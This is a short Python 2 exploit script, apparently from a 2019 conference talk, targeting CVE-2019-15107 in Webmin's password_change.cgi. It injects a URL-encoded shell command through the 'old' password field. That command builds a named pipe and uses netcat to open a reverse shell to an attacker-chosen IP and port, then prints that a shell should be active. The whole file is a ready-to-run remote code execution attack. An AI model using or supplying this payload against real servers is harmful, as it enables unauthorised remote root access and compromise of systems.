#Python exploit for CVE-2019-15107
#0x9D
#Hacker Summercamp talk, 2019
 
import sys
import urllib2
 
if len(sys.argv) < 4:
    print "Run with the following format:"
    print "exploit.py <server to attack> <port to netcat reverse to> <local ip>"
    exit()
 
host = sys.argv[1] + ":10000"
port = sys.argv[2]
ip = sys.argv[3]
url= "http://" + host + "/password_change.cgi"
referer = "https://" + host + "/session_login.cgi"
 
evil = "user=root&pam=&expired=2&old=test | mkfifo%20%2Ftmp%2Fuirolsd%3B%20nc%20" + ip + "%20" + port + "%200%3C%2Ftmp%2Fuirolsd%20%7C%20%2Fbin%2Fsh%20%3E%2Ftmp%2Fuirolsd%202%3E%261%3B%20rm%20%2Ftmp%2Fuirolsd&new1=test&new2=test"
 
req = urllib2.Request(url)
req.add_header('Referer', referer)
req.add_data(evil)
print "You should have an active shell!"
response = urllib2.urlopen(req)